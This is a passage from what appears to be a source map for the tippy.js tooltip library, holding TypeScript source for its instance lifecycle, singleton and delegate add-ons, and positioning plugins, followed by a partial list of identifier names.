!instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 1,\n defaultProps.duration\n );\n\n if (isAlreadyHidden || isDestroyed || isDisabled) {\n return;\n }\n\n invokeHook('onHide', [instance], false);\n if (instance.props.onHide(instance) === false) {\n return;\n }\n\n instance.state.isVisible = false;\n instance.state.isShown = false;\n ignoreOnFirstUpdate = false;\n isVisibleFromClick = false;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'hidden';\n }\n\n cleanupInteractiveMouseListeners();\n removeDocumentPress();\n handleStyles(true);\n\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n\n if (instance.props.animation) {\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'hidden');\n }\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n if (instance.props.animation) {\n if (getIsDefaultRenderFn()) {\n onTransitionedOut(duration, instance.unmount);\n }\n } else {\n instance.unmount();\n }\n }\n\n function hideWithInteractivity(event: MouseEvent): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(\n instance.state.isDestroyed,\n createMemoryLeakWarning('hideWithInteractivity')\n );\n }\n\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n pushIfUnique(mouseMoveListeners, debouncedOnMouseMove);\n debouncedOnMouseMove(event);\n }\n\n function unmount(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount'));\n }\n\n if (instance.state.isVisible) {\n instance.hide();\n }\n\n if (!instance.state.isMounted) {\n return;\n }\n\n destroyPopperInstance();\n\n // If a popper is not interactive, it will be appended outside the popper\n // tree by default. This seems mainly for interactive tippies, but we should\n // find a workaround if possible\n getNestedPopperTree().forEach((nestedPopper) => {\n nestedPopper._tippy!.unmount();\n });\n\n if (popper.parentNode) {\n popper.parentNode.removeChild(popper);\n }\n\n mountedInstances = mountedInstances.filter((i) => i !== instance);\n\n instance.state.isMounted = false;\n invokeHook('onHidden', [instance]);\n }\n\n function destroy(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n instance.clearDelayTimeouts();\n instance.unmount();\n\n removeListeners();\n\n delete reference._tippy;\n\n instance.state.isDestroyed = true;\n\n invokeHook('onDestroy', [instance]);\n }\n}\n","import bindGlobalEventListeners, {\n currentInput,\n} from './bindGlobalEventListeners';\nimport createTippy, {mountedInstances} from './createTippy';\nimport {getArrayOfElements, isElement, isReferenceElement} from './dom-utils';\nimport {defaultProps, setDefaultProps, validateProps} from './props';\nimport {HideAll, HideAllOptions, Instance, Props, Targets} from './types';\nimport {validateTargets, warnWhen} from './validation';\n\nfunction tippy(\n targets: Targets,\n optionalProps: Partial<Props> = {}\n): Instance | Instance[] {\n const plugins = defaultProps.plugins.concat(optionalProps.plugins || []);\n\n /* istanbul ignore else */\n if (__DEV__) {\n validateTargets(targets);\n validateProps(optionalProps, plugins);\n }\n\n bindGlobalEventListeners();\n\n const passedProps: Partial<Props> = {...optionalProps, plugins};\n\n const elements = getArrayOfElements(targets);\n\n /* istanbul ignore else */\n if (__DEV__) {\n const isSingleContentElement = isElement(passedProps.content);\n const isMoreThanOneReferenceElement = elements.length > 1;\n warnWhen(\n isSingleContentElement && isMoreThanOneReferenceElement,\n [\n 'tippy() was passed an Element as the `content` prop, but more than',\n 'one tippy instance was created by this invocation. This means the',\n 'content element will only be appended to the last tippy instance.',\n '\\n\\n',\n 'Instead, pass the .innerHTML of the element, or use a function that',\n 'returns a cloned version of the element instead.',\n '\\n\\n',\n '1) content: element.innerHTML\\n',\n '2) content: () => element.cloneNode(true)',\n ].join(' ')\n );\n }\n\n const instances = elements.reduce<Instance[]>(\n (acc, reference): Instance[] => {\n const instance = reference && createTippy(reference, passedProps);\n\n if (instance) {\n acc.push(instance);\n }\n\n return acc;\n },\n []\n );\n\n return isElement(targets) ? instances[0] : instances;\n}\n\ntippy.defaultProps = defaultProps;\ntippy.setDefaultProps = setDefaultProps;\ntippy.currentInput = currentInput;\n\nexport default tippy;\n\nexport const hideAll: HideAll = ({\n exclude: excludedReferenceOrInstance,\n duration,\n}: HideAllOptions = {}) => {\n mountedInstances.forEach((instance) => {\n let isExcluded = false;\n\n if (excludedReferenceOrInstance) {\n isExcluded = isReferenceElement(excludedReferenceOrInstance)\n ? instance.reference === excludedReferenceOrInstance\n : instance.popper === (excludedReferenceOrInstance as Instance).popper;\n }\n\n if (!isExcluded) {\n const originalDuration = instance.props.duration;\n\n instance.setProps({duration});\n instance.hide();\n\n if (!instance.state.isDestroyed) {\n instance.setProps({duration: originalDuration});\n }\n }\n });\n};\n","import tippy from '..';\nimport {div} from '../dom-utils';\nimport {\n CreateSingleton,\n Plugin,\n CreateSingletonProps,\n ReferenceElement,\n CreateSingletonInstance,\n Instance,\n Props,\n} from '../types';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\nimport {applyStyles, Modifier} from '@popperjs/core';\n\n// The default `applyStyles` modifier has a cleanup function that gets called\n// every time the popper is destroyed (i.e. a new target), removing the styles\n// and causing transitions to break for singletons when the console is open, but\n// most notably for non-transform styles being used, `gpuAcceleration: false`.\nconst applyStylesModifier: Modifier<'applyStyles', Record<string, unknown>> = {\n ...applyStyles,\n effect({state}) {\n const initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0',\n },\n arrow: {\n position: 'absolute',\n },\n reference: {},\n };\n\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n // intentionally return no cleanup function\n // return () => { ... }\n },\n};\n\nconst createSingleton: CreateSingleton = (\n tippyInstances,\n optionalProps = {}\n) => {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !Array.isArray(tippyInstances),\n [\n 'The first argument passed to createSingleton() must be an array of',\n 'tippy instances. The passed value was',\n String(tippyInstances),\n ].join(' ')\n );\n }\n\n let individualInstances = tippyInstances;\n let references: Array<ReferenceElement> = [];\n let triggerTargets: Array<Element> = [];\n let currentTarget: Element | null;\n let overrides = optionalProps.overrides;\n let interceptSetPropsCleanups: Array<() => void> = [];\n let shownOnCreate = false;\n\n function setTriggerTargets(): void {\n triggerTargets = individualInstances\n .map((instance) =>\n normalizeToArray(instance.props.triggerTarget || instance.reference)\n )\n .reduce((acc, item) => acc.concat(item), []);\n }\n\n function setReferences(): void {\n references = individualInstances.map((instance) => instance.reference);\n }\n\n function enableInstances(isEnabled: boolean): void {\n individualInstances.forEach((instance) => {\n if (isEnabled) {\n instance.enable();\n } else {\n instance.disable();\n }\n });\n }\n\n function interceptSetProps(singleton: Instance): Array<() => void> {\n return individualInstances.map((instance) => {\n const originalSetProps = instance.setProps;\n\n instance.setProps = (props): void => {\n originalSetProps(props);\n\n if (instance.reference === currentTarget) {\n singleton.setProps(props);\n }\n };\n\n return (): void => {\n instance.setProps = originalSetProps;\n };\n });\n }\n\n // have to pass singleton, as it maybe undefined on first call\n function prepareInstance(\n singleton: Instance,\n target: ReferenceElement\n ): void {\n const index = triggerTargets.indexOf(target);\n\n // bail-out\n if (target === currentTarget) {\n return;\n }\n\n currentTarget = target;\n\n const overrideProps: Partial<Props> = (overrides || [])\n .concat('content')\n .reduce((acc, prop) => {\n (acc as any)[prop] = individualInstances[index].props[prop];\n return acc;\n }, {});\n\n singleton.setProps({\n ...overrideProps,\n getReferenceClientRect:\n typeof overrideProps.getReferenceClientRect === 'function'\n ? overrideProps.getReferenceClientRect\n : (): ClientRect => references[index]?.getBoundingClientRect(),\n });\n }\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n\n const plugin: Plugin = {\n fn() {\n return {\n onDestroy(): void {\n enableInstances(true);\n },\n onHidden(): void {\n currentTarget = null;\n },\n onClickOutside(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n currentTarget = null;\n }\n },\n onShow(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n prepareInstance(instance, references[0]);\n }\n },\n onTrigger(instance, event): void {\n prepareInstance(instance, event.currentTarget as Element);\n },\n };\n },\n };\n\n const singleton = tippy(div(), {\n ...removeProperties(optionalProps, ['overrides']),\n plugins: [plugin, ...(optionalProps.plugins || [])],\n triggerTarget: triggerTargets,\n popperOptions: {\n ...optionalProps.popperOptions,\n modifiers: [\n ...(optionalProps.popperOptions?.modifiers || []),\n applyStylesModifier,\n ],\n },\n }) as CreateSingletonInstance<CreateSingletonProps>;\n\n const originalShow = singleton.show;\n\n singleton.show = (target?: ReferenceElement | Instance | number): void => {\n originalShow();\n\n // first time, showOnCreate or programmatic call with no params\n // default to showing first instance\n if (!currentTarget && target == null) {\n return prepareInstance(singleton, references[0]);\n }\n\n // triggered from event (do nothing as prepareInstance already called by onTrigger)\n // programmatic call with no params when already visible (do nothing again)\n if (currentTarget && target == null) {\n return;\n }\n\n // target is index of instance\n if (typeof target === 'number') {\n return (\n references[target] && prepareInstance(singleton, references[target])\n );\n }\n\n // target is a child tippy instance\n if (individualInstances.indexOf(target as Instance) >= 0) {\n const ref = (target as Instance).reference;\n return prepareInstance(singleton, ref);\n }\n\n // target is a ReferenceElement\n if (references.indexOf(target as ReferenceElement) >= 0) {\n return prepareInstance(singleton, target as ReferenceElement);\n }\n };\n\n singleton.showNext = (): void => {\n const first = references[0];\n if (!currentTarget) {\n return singleton.show(0);\n }\n const index = references.indexOf(currentTarget);\n singleton.show(references[index + 1] || first);\n };\n\n singleton.showPrevious = (): void => {\n const last = references[references.length - 1];\n if (!currentTarget) {\n return singleton.show(last);\n }\n const index = references.indexOf(currentTarget);\n const target = references[index - 1] || last;\n singleton.show(target);\n };\n\n const originalSetProps = singleton.setProps;\n\n singleton.setProps = (props): void => {\n overrides = props.overrides || overrides;\n originalSetProps(props);\n };\n\n singleton.setInstances = (nextInstances): void => {\n enableInstances(true);\n interceptSetPropsCleanups.forEach((fn) => fn());\n\n individualInstances = nextInstances;\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n singleton.setProps({triggerTarget: triggerTargets});\n };\n\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n return singleton;\n};\n\nexport default createSingleton;\n","import tippy from '..';\nimport {TOUCH_OPTIONS} from '../constants';\nimport {defaultProps} from '../props';\nimport {Instance, Props, Targets} from '../types';\nimport {ListenerObject} from '../types-internal';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\n\nconst BUBBLING_EVENTS_MAP = {\n mouseover: 'mouseenter',\n focusin: 'focus',\n click: 'click',\n};\n\n/**\n * Creates a delegate instance that controls the creation of tippy instances\n * for child elements (`target` CSS selector).\n */\nfunction delegate(\n targets: Targets,\n props: Partial<Props> & {target: string}\n): Instance | Instance[] {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !(props && props.target),\n [\n 'You must specity a `target` prop indicating a CSS selector string matching',\n 'the target elements that should receive a tippy.',\n ].join(' ')\n );\n }\n\n let listeners: ListenerObject[] = [];\n let childTippyInstances: Instance[] = [];\n let disabled = false;\n\n const {target} = props;\n\n const nativeProps = removeProperties(props, ['target']);\n const parentProps = {...nativeProps, trigger: 'manual', touch: false};\n const childProps = {\n touch: defaultProps.touch,\n ...nativeProps,\n showOnCreate: true,\n };\n\n const returnValue = tippy(targets, parentProps);\n const normalizedReturnValue = normalizeToArray(returnValue);\n\n function onTrigger(event: Event): void {\n if (!event.target || disabled) {\n return;\n }\n\n const targetNode = (event.target as Element).closest(target);\n\n if (!targetNode) {\n return;\n }\n\n // Get relevant trigger with fallbacks:\n // 1. Check `data-tippy-trigger` attribute on target node\n // 2. Fallback to `trigger` passed to `delegate()`\n // 3. Fallback to `defaultProps.trigger`\n const trigger =\n targetNode.getAttribute('data-tippy-trigger') ||\n props.trigger ||\n defaultProps.trigger;\n\n // @ts-ignore\n if (targetNode._tippy) {\n return;\n }\n\n if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') {\n return;\n }\n\n if (\n event.type !== 'touchstart' &&\n trigger.indexOf((BUBBLING_EVENTS_MAP as any)[event.type]) < 0\n ) {\n return;\n }\n\n const instance = tippy(targetNode, childProps);\n\n if (instance) {\n childTippyInstances = childTippyInstances.concat(instance);\n }\n }\n\n function on(\n node: Element,\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n }\n\n function addEventListeners(instance: Instance): void {\n const {reference} = instance;\n\n on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS);\n on(reference, 'mouseover', onTrigger);\n on(reference, 'focusin', onTrigger);\n on(reference, 'click', onTrigger);\n }\n\n function removeEventListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function applyMutations(instance: Instance): void {\n const originalDestroy = instance.destroy;\n const originalEnable = instance.enable;\n const originalDisable = instance.disable;\n\n instance.destroy = (shouldDestroyChildInstances = true): void => {\n if (shouldDestroyChildInstances) {\n childTippyInstances.forEach((instance) => {\n instance.destroy();\n });\n }\n\n childTippyInstances = [];\n\n removeEventListeners();\n originalDestroy();\n };\n\n instance.enable = (): void => {\n originalEnable();\n childTippyInstances.forEach((instance) => instance.enable());\n disabled = false;\n };\n\n instance.disable = (): void => {\n originalDisable();\n childTippyInstances.forEach((instance) => instance.disable());\n disabled = true;\n };\n\n addEventListeners(instance);\n }\n\n normalizedReturnValue.forEach(applyMutations);\n\n return returnValue;\n}\n\nexport default delegate;\n","import {BACKDROP_CLASS} from '../constants';\nimport {div, setVisibilityState} from '../dom-utils';\nimport {getChildren} from '../template';\nimport {AnimateFill} from '../types';\nimport {errorWhen} from '../validation';\n\nconst animateFill: AnimateFill = {\n name: 'animateFill',\n defaultValue: false,\n fn(instance) {\n // @ts-ignore\n if (!instance.props.render?.$$tippy) {\n if (__DEV__) {\n errorWhen(\n instance.props.animateFill,\n 'The `animateFill` plugin requires the default render function.'\n );\n }\n\n return {};\n }\n\n const {box, content} = getChildren(instance.popper);\n\n const backdrop = instance.props.animateFill\n ? createBackdropElement()\n : null;\n\n return {\n onCreate(): void {\n if (backdrop) {\n box.insertBefore(backdrop, box.firstElementChild!);\n box.setAttribute('data-animatefill', '');\n box.style.overflow = 'hidden';\n\n instance.setProps({arrow: false, animation: 'shift-away'});\n }\n },\n onMount(): void {\n if (backdrop) {\n const {transitionDuration} = box.style;\n const duration = Number(transitionDuration.replace('ms', ''));\n\n // The content should fade in after the backdrop has mostly filled the\n // tooltip element. `clip-path` is the other alternative but is not\n // well-supported and is buggy on some devices.\n content.style.transitionDelay = `${Math.round(duration / 10)}ms`;\n\n backdrop.style.transitionDuration = transitionDuration;\n setVisibilityState([backdrop], 'visible');\n }\n },\n onShow(): void {\n if (backdrop) {\n backdrop.style.transitionDuration = '0ms';\n }\n },\n onHide(): void {\n if (backdrop) {\n setVisibilityState([backdrop], 'hidden');\n }\n },\n };\n },\n};\n\nexport default animateFill;\n\nfunction createBackdropElement(): HTMLDivElement {\n const backdrop = div();\n backdrop.className = BACKDROP_CLASS;\n setVisibilityState([backdrop], 'hidden');\n return backdrop;\n}\n","import {getOwnerDocument, isMouseEvent} from '../dom-utils';\nimport {FollowCursor, Instance} from '../types';\n\nlet mouseCoords = {clientX: 0, clientY: 0};\nlet activeInstances: Array<{instance: Instance; doc: Document}> = [];\n\nfunction storeMouseCoords({clientX, clientY}: MouseEvent): void {\n mouseCoords = {clientX, clientY};\n}\n\nfunction addMouseCoordsListener(doc: Document): void {\n doc.addEventListener('mousemove', storeMouseCoords);\n}\n\nfunction removeMouseCoordsListener(doc: Document): void {\n doc.removeEventListener('mousemove', storeMouseCoords);\n}\n\nconst followCursor: FollowCursor = {\n name: 'followCursor',\n defaultValue: false,\n fn(instance) {\n const reference = instance.reference;\n const doc = getOwnerDocument(instance.props.triggerTarget || reference);\n\n let isInternalUpdate = false;\n let wasFocusEvent = false;\n let isUnmounted = true;\n let prevProps = instance.props;\n\n function getIsInitialBehavior(): boolean {\n return (\n instance.props.followCursor === 'initial' && instance.state.isVisible\n );\n }\n\n function addListener(): void {\n doc.addEventListener('mousemove', onMouseMove);\n }\n\n function removeListener(): void {\n doc.removeEventListener('mousemove', onMouseMove);\n }\n\n function unsetGetReferenceClientRect(): void {\n isInternalUpdate = true;\n instance.setProps({getReferenceClientRect: null});\n isInternalUpdate = false;\n }\n\n function onMouseMove(event: MouseEvent): void {\n // If the instance is interactive, avoid updating the position unless it's\n // over the reference element\n const isCursorOverReference = event.target\n ? reference.contains(event.target as Node)\n : true;\n const {followCursor} = instance.props;\n const {clientX, clientY} = event;\n\n const rect = reference.getBoundingClientRect();\n const relativeX = clientX - rect.left;\n const relativeY = clientY - rect.top;\n\n if (isCursorOverReference || !instance.props.interactive) {\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect() {\n const rect = reference.getBoundingClientRect();\n\n let x = clientX;\n let y = clientY;\n\n if (followCursor === 'initial') {\n x = rect.left + relativeX;\n y = rect.top + relativeY;\n }\n\n const top = followCursor === 'horizontal' ? rect.top : y;\n const right = followCursor === 'vertical' ? rect.right : x;\n const bottom = followCursor === 'horizontal' ? rect.bottom : y;\n const left = followCursor === 'vertical' ? rect.left : x;\n\n return {\n width: right - left,\n height: bottom - top,\n top,\n right,\n bottom,\n left,\n };\n },\n });\n }\n }\n\n function create(): void {\n if (instance.props.followCursor) {\n activeInstances.push({instance, doc});\n addMouseCoordsListener(doc);\n }\n }\n\n function destroy(): void {\n activeInstances = activeInstances.filter(\n (data) => data.instance !== instance\n );\n\n if (activeInstances.filter((data) => data.doc === doc).length === 0) {\n removeMouseCoordsListener(doc);\n }\n }\n\n return {\n onCreate: create,\n onDestroy: destroy,\n onBeforeUpdate(): void {\n prevProps = instance.props;\n },\n onAfterUpdate(_, {followCursor}): void {\n if (isInternalUpdate) {\n return;\n }\n\n if (\n followCursor !== undefined &&\n prevProps.followCursor !== followCursor\n ) {\n destroy();\n\n if (followCursor) {\n create();\n\n if (\n instance.state.isMounted &&\n !wasFocusEvent &&\n !getIsInitialBehavior()\n ) {\n addListener();\n }\n } else {\n removeListener();\n unsetGetReferenceClientRect();\n }\n }\n },\n onMount(): void {\n if (instance.props.followCursor && !wasFocusEvent) {\n if (isUnmounted) {\n onMouseMove(mouseCoords as MouseEvent);\n isUnmounted = false;\n }\n\n if (!getIsInitialBehavior()) {\n addListener();\n }\n }\n },\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n mouseCoords = {clientX: event.clientX, clientY: event.clientY};\n }\n wasFocusEvent = event.type === 'focus';\n },\n onHidden(): void {\n if (instance.props.followCursor) {\n unsetGetReferenceClientRect();\n removeListener();\n isUnmounted = true;\n }\n },\n };\n },\n};\n\nexport default followCursor;\n","import {Modifier, Placement} from '@popperjs/core';\nimport {isMouseEvent} from '../dom-utils';\nimport {BasePlacement, InlinePositioning, Props} from '../types';\nimport {arrayFrom, getBasePlacement} from '../utils';\n\nfunction getProps(props: Props, modifier: Modifier<any, any>): Partial<Props> {\n return {\n popperOptions: {\n ...props.popperOptions,\n modifiers: [\n ...(props.popperOptions?.modifiers || []).filter(\n ({name}) => name !== modifier.name\n ),\n modifier,\n ],\n },\n };\n}\n\nconst inlinePositioning: InlinePositioning = {\n name: 'inlinePositioning',\n defaultValue: false,\n fn(instance) {\n const {reference} = instance;\n\n function isEnabled(): boolean {\n return !!instance.props.inlinePositioning;\n }\n\n let placement: Placement;\n let cursorRectIndex = -1;\n let isInternalUpdate = false;\n let triedPlacements: Array<string> = [];\n\n const modifier: Modifier<\n 'tippyInlinePositioning',\n Record<string, unknown>\n > = {\n name: 'tippyInlinePositioning',\n enabled: true,\n phase: 'afterWrite',\n fn({state}) {\n if (isEnabled()) {\n if (triedPlacements.indexOf(state.placement) !== -1) {\n triedPlacements = [];\n }\n\n if (\n placement !== state.placement &&\n triedPlacements.indexOf(state.placement) === -1\n ) {\n triedPlacements.push(state.placement);\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect: () =>\n getReferenceClientRect(state.placement),\n });\n }\n\n placement = state.placement;\n }\n },\n };\n\n function getReferenceClientRect(placement: Placement): Partial<DOMRect> {\n return getInlineBoundingClientRect(\n getBasePlacement(placement),\n reference.getBoundingClientRect(),\n arrayFrom(reference.getClientRects()),\n cursorRectIndex\n );\n }\n\n function setInternalProps(partialProps: Partial<Props>): void {\n isInternalUpdate = true;\n instance.setProps(partialProps);\n isInternalUpdate = false;\n }\n\n function addModifier(): void {\n if (!isInternalUpdate) {\n setInternalProps(getProps(instance.props, modifier));\n }\n }\n\n return {\n onCreate: addModifier,\n onAfterUpdate: addModifier,\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n const rects = arrayFrom(instance.reference.getClientRects());\n const cursorRect = rects.find(\n (rect) =>\n rect.left - 2 <= event.clientX &&\n rect.right + 2 >= event.clientX &&\n rect.top - 2 <= event.clientY &&\n rect.bottom + 2 >= event.clientY\n );\n const index = rects.indexOf(cursorRect);\n cursorRectIndex = index > -1 ? index : cursorRectIndex;\n }\n },\n onHidden(): void {\n cursorRectIndex = -1;\n },\n };\n },\n};\n\nexport default inlinePositioning;\n\nexport function getInlineBoundingClientRect(\n currentBasePlacement: BasePlacement | null,\n boundingRect: DOMRect,\n clientRects: DOMRect[],\n cursorRectIndex: number\n): {\n top: number;\n bottom: number;\n left: number;\n right: number;\n width: number;\n height: number;\n} {\n // Not an inline element, or placement is not yet known\n if (clientRects.length < 2 || currentBasePlacement === null) {\n return boundingRect;\n }\n\n // There are two rects and they are disjoined\n if (\n clientRects.length === 2 &&\n cursorRectIndex >= 0 &&\n clientRects[0].left > clientRects[1].right\n ) {\n return clientRects[cursorRectIndex] || boundingRect;\n }\n\n switch (currentBasePlacement) {\n case 'top':\n case 'bottom': {\n const firstRect = clientRects[0];\n const lastRect = clientRects[clientRects.length - 1];\n const isTop = currentBasePlacement === 'top';\n\n const top = firstRect.top;\n const bottom = lastRect.bottom;\n const left = isTop ? firstRect.left : lastRect.left;\n const right = isTop ? firstRect.right : lastRect.right;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n case 'left':\n case 'right': {\n const minLeft = Math.min(...clientRects.map((rects) => rects.left));\n const maxRight = Math.max(...clientRects.map((rects) => rects.right));\n const measureRects = clientRects.filter((rect) =>\n currentBasePlacement === 'left'\n ? rect.left === minLeft\n : rect.right === maxRight\n );\n\n const top = measureRects[0].top;\n const bottom = measureRects[measureRects.length - 1].bottom;\n const left = minLeft;\n const right = maxRight;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n default: {\n return boundingRect;\n }\n }\n}\n","import {VirtualElement} from '@popperjs/core';\nimport {ReferenceElement, Sticky} from '../types';\n\nconst sticky: Sticky = {\n name: 'sticky',\n defaultValue: false,\n fn(instance) {\n const {reference, popper} = instance;\n\n function getReference(): ReferenceElement | VirtualElement {\n return instance.popperInstance\n ? instance.popperInstance.state.elements.reference\n : reference;\n }\n\n function shouldCheck(value: 'reference' | 'popper'): boolean {\n return instance.props.sticky === true || instance.props.sticky === value;\n }\n\n let prevRefRect: ClientRect | null = null;\n let prevPopRect: ClientRect | null = null;\n\n function updatePosition(): void {\n const currentRefRect = shouldCheck('reference')\n ? getReference().getBoundingClientRect()\n : null;\n const currentPopRect = shouldCheck('popper')\n ? popper.getBoundingClientRect()\n : null;\n\n if (\n (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect)) ||\n (currentPopRect && areRectsDifferent(prevPopRect, currentPopRect))\n ) {\n if (instance.popperInstance) {\n instance.popperInstance.update();\n }\n }\n\n prevRefRect = currentRefRect;\n prevPopRect = currentPopRect;\n\n if (instance.state.isMounted) {\n requestAnimationFrame(updatePosition);\n }\n }\n\n return {\n onMount(): void {\n if (instance.props.sticky) {\n updatePosition();\n }\n },\n };\n },\n};\n\nexport default sticky;\n\nfunction areRectsDifferent(\n rectA: ClientRect | null,\n rectB: ClientRect | null\n): boolean {\n if (rectA && rectB) {\n return (\n rectA.top !== rectB.top ||\n rectA.right !== rectB.right ||\n rectA.bottom !== rectB.bottom ||\n rectA.left !== rectB.left\n );\n }\n\n return true;\n}\n","import tippy from '../src';\nimport {render} from '../src/template';\n\ntippy.setDefaultProps({render});\n\nexport {default, hideAll} from '../src';\nexport {default as createSingleton} from '../src/addons/createSingleton';\nexport {default as delegate} from '../src/addons/delegate';\nexport {default as animateFill} from '../src/plugins/animateFill';\nexport {default as followCursor} from '../src/plugins/followCursor';\nexport {default as inlinePositioning} from '../src/plugins/inlinePositioning';\nexport {default as sticky} from '../src/plugins/sticky';\nexport {ROUND_ARROW as roundArrow} from '../src/constants';\n"],"names":["ROUND_ARROW","BOX_CLASS","CONTENT_CLASS","BACKDROP_CLASS","ARROW_CLASS","SVG_ARROW_CLASS","TOUCH_OPTIONS","passive","capture","TIPPY_DEFAULT_APPEND_TO","document","body","hasOwnProperty","obj","key","call","getValueAtIndexOrReturn","value","index","defaultValue","Array","isArray","v","isType","type","str","toString","indexOf","invokeWithArgsOrReturn","args","debounce","fn","ms","timeout","arg","clearTimeout","setTimeout","removeProperties","keys","clone","forEach","splitBySpaces","split","filter","Boolean","normalizeToArray","concat","pushIfUnique","arr","push","unique","item","getBasePlacement","placement","arrayFrom","slice","removeUndefinedProps","Object","reduce","acc","undefined","div","createElement","isElement","some","isNodeList","isMouseEvent","isReferenceElement","_tippy","reference","getArrayOfElements","querySelectorAll","setTransitionDuration","els","el","style","transitionDuration","setVisibilityState","state","setAttribute","getOwnerDocument","elementOrElements","element","ownerDocument","isCursorOutsideInteractiveBorder","popperTreeData","event","clientX","clientY","every","popperRect","popperState","props","interactiveBorder","basePlacement","offsetData","modifiersData","offset","topDistance","top","y","bottomDistance","bottom","leftDistance","left","x","rightDistance","right","exceedsTop","exceedsBottom","exceedsLeft","exceedsRight","updateTransitionEndListener","box","action","listener","method","actualContains","parent","child","target","contains","getRootNode","host","currentInput","isTouch","lastMouseMoveTime","onDocumentTouchStart","window","performance","addEventListener","onDocumentMouseMove","now","removeEventListener","onWindowBlur","activeElement","instance","blur","isVisible","bindGlobalEventListeners","isBrowser","isIE11","msCrypto","createMemoryLeakWarning","txt","join","clean","spacesAndTabs","lineStartWithSpaces","replace","trim","getDevMessage","message","getFormattedMessage","visitedMessages","resetVisitedMessages","Set","warnWhen","condition","has","add","console","warn","errorWhen","error","validateTargets","targets","didPassFalsyValue","didPassPlainObject","prototype","String","pluginProps","animateFill","followCursor","inlinePositioning","sticky","renderProps","allowHTML","animation","arrow","content","inertia","maxWidth","role","theme","zIndex","defaultProps","appendTo","aria","expanded","delay","duration","getReferenceClientRect","hideOnClick","ignoreAttributes","interactive","interactiveDebounce","moveTransition","onAfterUpdate","onBeforeUpdate","onCreate","onDestroy","onHidden","onHide","onMount","onShow","onShown","onTrigger","onUntrigger","onClickOutside","plugins","popperOptions","render","showOnCreate","touch","trigger","triggerTarget","defaultKeys","setDefaultProps","partialProps","validateProps","getExtendedPassedProps","passedProps","plugin","name","getDataAttributeProps","propKeys","valueAsString","getAttribute","JSON","parse","e","evaluateProps","out","prop","nonPluginProps","didPassUnknownProp","length","innerHTML","dangerouslySetInnerHTML","html","createArrowElement","className","appendChild","setContent","textContent","getChildren","popper","firstElementChild","boxChildren","children","find","node","classList","backdrop","onUpdate","prevProps","nextProps","removeAttribute","removeChild","$$tippy","idCounter","mouseMoveListeners","mountedInstances","createTippy","showTimeout","hideTimeout","scheduleHideAnimationFrame","isVisibleFromClick","didHideDueToDocumentMouseDown","didTouchMove","ignoreOnFirstUpdate","lastTriggerEvent","currentTransitionEndListener","onFirstUpdate","listeners","debouncedOnMouseMove","onMouseMove","currentTarget","id","popperInstance","isEnabled","isDestroyed","isMounted","isShown","clearDelayTimeouts","setProps","show","hide","hideWithInteractivity","enable","disable","unmount","destroy","pluginsHooks","map","hasAriaExpanded","hasAttribute","addListeners","handleAriaExpandedAttribute","handleStyles","invokeHook","scheduleShow","getDocument","getNormalizedTouchSettings","getIsCustomTouchBehavior","getIsDefaultRenderFn","getCurrentTarget","parentNode","getDefaultTemplateChildren","getDelay","isShow","fromHide","pointerEvents","hook","shouldInvokePropsHook","pluginHooks","handleAriaContentAttribute","attr","nodes","currentValue","nextValue","cleanupInteractiveMouseListeners","onDocumentPress","actualTarget","composedPath","removeDocumentPress","onTouchMove","onTouchStart","addDocumentPress","doc","onTransitionedOut","callback","onTransitionEnd","onTransitionedIn","on","eventType","handler","options","onMouseLeave","onBlurOrFocusOut","removeListeners","shouldScheduleClickHide","isEventListenerStopped","wasFocused","scheduleHide","isCursorOverReferenceOrPopper","getNestedPopperTree","getBoundingClientRect","shouldBail","relatedTarget","createPopperInstance","destroyPopperInstance","computedReference","contextElement","tippyModifier","enabled","phase","requires","attributes","modifiers","padding","adaptive","createPopper","mount","nextElementSibling","touchValue","touchDelay","requestAnimationFrame","cancelAnimationFrame","nestedPopper","forceUpdate","isAlreadyVisible","isDisabled","isTouchAndTouchDisabled","visibility","transition","offsetHeight","isAlreadyHidden","i","tippy","optionalProps","elements","isSingleContentElement","isMoreThanOneReferenceElement","instances","hideAl